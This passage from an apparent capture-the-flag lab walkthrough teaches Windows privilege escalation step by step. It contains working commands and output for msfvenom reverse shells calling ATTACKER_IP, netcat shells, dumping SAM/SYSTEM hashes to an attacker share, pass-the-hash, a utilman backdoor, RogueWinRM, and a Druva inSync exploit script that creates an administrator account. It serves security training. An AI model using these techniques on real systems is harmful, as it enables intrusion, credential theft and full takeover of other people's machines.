C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F Successfully processed 1 files.
Once the service gets restarted, your payload should execute:
C:\> sc stop "disk sorter enterprise" C:\> sc start "disk sorter enterprise"
As a result, you'll get a reverse shell with svcusr2 privileges:
user@attackerpc$ nc -lvp 4446 Listening on 0.0.0.0 4446 Connection received on 10.10.175.90 50650 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami wprivesc1\svcusr2
Go to svcusr2 desktop to retrieve a flag.
Insecure Service Permissions
You might still have a slight chance of taking advantage of a service if the service's executable DACL is well configured, and the service's binary path is rightly quoted. Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.
To check for a service DACL from the command line, you can use Accesschk from the Sysinternals suite. For your convenience, a copy is available at C:\\tools
. The command to check for the thmservice service DACL is:
C:\tools\AccessChk> accesschk64.exe -qlc thmservice [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_PAUSE_CONTINUE SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL READ_CONTROL [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users SERVICE_ALL_ACCESS
Here we can see that the BUILTIN\\Users
group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.
Before changing the service, let's build another exe-service reverse shell and start a listener for it on the attacker's machine:
user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe user@attackerpc$ nc -lvp 4447
We will then transfer the reverse shell executable to the target machine and store it in C:\Users\thm-unpriv\rev-svc3.exe
. Feel free to use wget to transfer your executable and move it to the desired location. Remember to grant permissions to Everyone to execute your payload:
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
To change the service's associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
Notice we can use any account to run the service. We chose LocalSystem as it is the highest privileged account available. To trigger our payload, all that rests is restarting the service:
C:\> sc stop THMService C:\> sc start THMService
And we will receive a shell back in our attacker's machine with SYSTEM privileges:
user@attackerpc$ nc -lvp 4447 Listening on 0.0.0.0 4447 Connection received on 10.10.175.90 50650 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami NT AUTHORITY\SYSTEM
Abusing dangerous privileges
Windows Privileges
Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.
Each user has a set of assigned privileges that can be checked with the following command:
whoami /priv
A complete list of available privileges on Windows systems is available here. From an attacker's standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.
While we won't take a look at each of them, we will showcase how to abuse some of the most common privileges you can find.
SeBackup / SeRestore
The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.
Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator's password hash.
This account is part of the "Backup Operators" group, which by default is granted the SeBackup and SeRestore privileges. We will need to open a command prompt using the "Open as administrator" option to use these privileges. We will be asked to input our password again to get an elevated console:
Once on the command prompt, we can check our privileges with the following command:
C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
To backup the SAM and SYSTEM hashes, we can use the following commands:
C:\> reg save hklm\system C:\Users\THMBackup\system.hive The operation completed successfully. C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive The operation completed successfully.
This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket's smbserver.py
to start a simple SMB server with a network share in the current directory of our attacking machine:
user@attackerpc$ mkdir share user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
This will create a share named public
pointing to the share
directory, which requires the username and password of our current windows session. After this, we can use the copy
command in our windows machine to transfer both files to our attacking machine:
C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
And use impacket to retrieve the users' password hashes:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
We can finally use the Administrator's hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Requesting shares on 10.10.175.90..... [*] Found writable share ADMIN$ [*] Uploading file nfhtabqO.exe [*] Opening SVCManager on 10.10.175.90..... [*] Creating service RoLE on 10.10.175.90..... [*] Starting service RoLE..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system
SeTakeOwnership
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service's executable. For this task, we will be taking a different route, however.
To get the SeTakeOwnership privilege, we need to open a command prompt using the "Open as administrator" option. We will be asked to input our password to get an elevated console:
Once on the command prompt, we can check our privileges with the following command:
C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We'll abuse utilman.exe
to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.
To replace utilman, we will start by taking ownership of it with the following command:
C:\> takeown /f C:\Windows\System32\Utilman.exe SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe
you can use the following command:
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F processed file: Utilman.exe Successfully processed 1 files; Failed processing 0 files
After this, we will replace utilman.exe
with a copy of cmd.exe
:
C:\Windows\System32\> copy cmd.exe utilman.exe 1 file(s) copied.
To trigger utilman, we will lock our screen from the start button:
And finally, proceed to click on the "Ease of Access" button, which runs utilman.exe
with SYSTEM privileges. Since we replaced it with a cmd.exe
copy, we will get a command prompt with SYSTEM privileges:
SeImpersonate / SeAssignPrimaryToken
These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.
Impersonation is easily understood when you think about how an FTP server works. The FTP server must restrict users to only access the files they should be allowed to see.
Let's assume we have an FTP service running with user ftp
. Without impersonation, if user Ann
logs into the FTP server and tries to access her files, the FTP service would try to access them with its access token rather than Ann's:
There are several reasons why using ftp's token is not the best idea:
- For the files to be served correctly, they would need to be accessible to the
ftp
user. In the example above, the FTP service would be able to access Ann's files, but not Bill's files, as the DACL in Bill's files doesn't allow userftp
. This adds complexity as we must manually configure specific permissions for each served file/directory. - For the operating system, all files are accessed by user
ftp
, independent of which user is currently logged in to the FTP service. This makes it impossible to delegate the authorisation to the operating system; therefore, the FTP service must implement it. - If the FTP service were compromised at some point, the attacker would immediately gain access to all of the folders to which the
ftp
user has access.
If, on the other hand, the FTP service's user has the SeImpersonate
or SeAssignPrimaryToken
privilege, all of this is simplified a bit, as the FTP service can temporarily grab the access token of the user logging in and use it to perform any task on their behalf:
Now, if user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Ann's access token and use it to access her files. This way, the files don't need to provide access to user ftp
in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it won't be able to access Jude's or Bill's files during that session.
As attackers, if we manage to take control of a process with SeImpersonate
or SeAssignPrimaryToken
privileges, we can impersonate any user connecting and authenticating to that process.
In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called "iis apppool\defaultapppool" for web applications.
To elevate privileges using such accounts, an attacker needs the following:
- To spawn a process so that users can connect and authenticate to it for impersonation to occur.
- Find a way to force privileged users to connect and authenticate to the spawned malicious process.
We will use RogueWinRM exploit to accomplish both conditions.
Let's start by assuming we have already compromised a website running on IIS and that we have planted a web shell on the following address:
http://MACHINE_IP/
We can use the web shell to check for the assigned privileges of the compromised account and confirm we hold both privileges of interest for this task:
To use RogueWinRM, we first need to upload the exploit to the target machine. For your convenience, this has already been done, and you can find the exploit in the C:\tools\
folder.
The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.
If, for some reason, the WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
Before running the exploit, we'll start a netcat listener to receive a reverse shell on our attacker's machine:
user@attackerpc$ nc -lvp 4442
And then, use our web shell to trigger the RogueWinRM exploit using the following command:
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"
Note: The exploit may take up to 2 minutes to work, so your browser may appear as unresponsive for a bit. This happens if you run the exploit multiple times as it must wait for the BITS service to stop before starting it again. The BITS service will stop automatically after 2 minutes of starting.
The -p
parameter specifies the executable to be run by the exploit, which is nc64.exe
in this case. The -a
parameter is used to pass arguments to the executable. Since we want nc64 to establish a reverse shell against our attacker machine, the arguments to pass to netcat will be -e cmd.exe ATTACKER_IP 4442
.
If all was correctly set up, you should expect a shell with SYSTEM privileges:
user@attackerpc$ nc -lvp 4442 Listening on 0.0.0.0 4442 Connection received on 10.10.175.90 49755 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami nt authority\system
Abusing vulnerable software
You can check installed updates using wmic qfe get Caption, Description. This information will give you an idea of how quickly systems are being patched and updated.
C:\>wmic qfe get Caption, Description
Caption Description
http://support.microsoft.com/?kbid=5013630 Update
https://support.microsoft.com/help/5013944 Security Update
Update
Unpatched Software
Software installed on the target system can present various privilege escalation opportunities. As with drivers, organisations and users may not update them as often as they update the operating system. You can use the wmic
tool to list software installed on the target system and its versions. The command below will dump information it can gather on installed software (it might take around a minute to finish):
wmic product get name,version,vendor
Remember that the wmic product
command may not return all installed programs. Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.
Once we have gathered product version information, we can always search for existing exploits on the installed software online on sites like exploit-db, packet storm or plain old Google, amongst many others.
Using wmic and Google, can you find a known vulnerability on any installed product?
Case Study: Druva inSync 6.6.3
The target server is running Druva inSync 6.6.3, which is vulnerable to privilege escalation as reported by Matteo Malvica. The vulnerability results from a bad patch applied over another vulnerability reported initially for version 6.5.0 by Chris Lyne.
The software is vulnerable because it runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible from localhost only. If you aren't familiar with RPC, it is simply a mechanism that allows a given process to expose functions (called procedures in RPC lingo) over the network so that other machines can call them remotely.
In the case of Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command gets executed with SYSTEM privileges.
The original vulnerability reported on versions 6.5.0 and prior allowed any command to be run without restrictions. The original idea behind providing such functionality was to remotely execute some specific binaries provided with inSync, rather than any command. Still, no check was made to make sure of that.
A patch was issued, where they decided to check that the executed command started with the string C:\ProgramData\Druva\inSync4\
, where the allowed binaries were supposed to be. But then, this proved insufficient since you could simply make a path traversal attack to bypass this kind of control. Suppose that you want to execute C:\Windows\System32\cmd.exe
, which is not in the allowed path; you could simply ask the server to run C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe
and that would bypass the check successfully.
To put together a working exploit, we need to understand how to talk to port 6064. Luckily for us, the protocol in use is straightforward, and the packets to be sent are depicted in the following diagram:
The first packet is simply a hello packet that contains a fixed string. The second packet indicates that we want to execute procedure number 5, as this is the vulnerable procedure that will execute any command for us. The last two packets are used to send the length of the command and the command string to be executed, respectively.
Initially published by Matteo Malvica here, the following exploit can be used in your target machine to elevate privileges and retrieve this task's flag. For your convenience, here is the original exploit's code:
$ErrorActionPreference = "Stop" $cmd = "net user pwnd /add" $s = New-Object System.Net.Sockets.Socket( [System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp ) $s.Connect("127.0.0.1", 6064) $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]") $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0") $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd"); $length = [System.BitConverter]::GetBytes($command.Length); $s.Send($header) $s.Send($rpcType) $s.Send($length) $s.Send($command)
You can pop a Powershell console and paste the exploit directly to execute it (The exploit is also available in the target machine at C:\tools\Druva_inSync_exploit.txt
). Note that the exploit's default payload, specified in the $cmd
variable, will create a user named pwnd
in the system, but won't assign him administrative privileges, so we will probably want to change the payload for something more useful. For this task, we will change the payload to run the following command:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
This will create user pwnd
with a password of SimplePass123
and add it to the administrators' group. If the exploit was successful, you should be able to run the following command to verify that the user pwnd
exists and is part of the administrators' group:
PS C:\> net user pwnd User name pwnd Full Name Account active Yes [...] Local Group Memberships *Administrators *Users Global Group memberships *None
As a last step, you can run a command prompt as administrator:
When prompted for credentials, use the pwnd
account. From the new command prompt, you can retrieve your flag from the Administrator's desktop with the following command type C:\Users\Administrator\Desktop\flag.txt
.
Tools of the Trade
Several scripts exist to conduct system enumeration in ways similar to the ones seen in the previous task. These tools can shorten the enumeration process time and uncover different potential privilege escalation vectors. However, please remember that automated tools can sometimes miss privilege escalation.
Below are a few tools commonly used to identify privilege escalation vectors. Feel free to run them against any of the machines in this room and see if the results match the discussed attack vectors.
WinPEAS
WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths. You can find more information about winPEAS and download either the precompiled executable or a .bat
script. WinPEAS will run commands similar to the ones listed in the previous task and print their output. The output from winPEAS can be lengthy and sometimes difficult to read. This is why it would be good practice to always redirect the output to a file, as shown below:
C:\> winpeas.exe > outputfile.txt
WinPEAS can be downloaded here.
PrivescCheck
PrivescCheck is a PowerShell script that searches common privilege escalation on the target system. It provides an alternative to WinPEAS without requiring the execution of a binary file.
PrivescCheck can be downloaded here.
Reminder: To run PrivescCheck on the target system, you may need to bypass the execution policy restrictions. To achieve this, you can use the Set-ExecutionPolicy
cmdlet as shown below.
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force PS C:\> . .\PrivescCheck.ps1 PS C:\> Invoke-PrivescCheck
WES-NG: Windows Exploit Suggester - Next Generation
Some exploit suggesting scripts (e.g. winPEAS) will require you to upload them to the target system and run them there. This may cause antivirus software to detect and delete them. To avoid making unnecessary noise that can attract attention, you may prefer to use WES-NG, which will run on your attacking machine (e.g. Kali).
WES-NG is a Python script that can be found and downloaded here.
Once installed, and before using it, type the wes.py --update
command to update the database. The script will refer to the database it creates to check for missing patches that can result in a vulnerability you can use to elevate your privileges on the target system.
To use the script, you will need to run the systeminfo
command on the target system. Do not forget to direct the output to a .txt
file you will need to move to your attacking machine.
Once this is done, wes.py
can be run as follows;
user@kali$ wes.py systeminfo.txt
Metasploit
If you already have a Meterpreter shell on the target system, you can use the multi/recon/local_exploit_suggester
module to list vulnerabilities that may affect the target system and allow you to elevate your privileges on the target system.
Conclusion
Should you be interested in learning about additional techniques, the following resources are available: - PayloadsAllTheThings - Windows Privilege Escalation - Priv2Admin - Abusing Windows Privileges - RogueWinRM Exploit - Potatoes - Decoder's Blog - Token Kidnapping - Hacktricks - Windows Local Privilege Escalation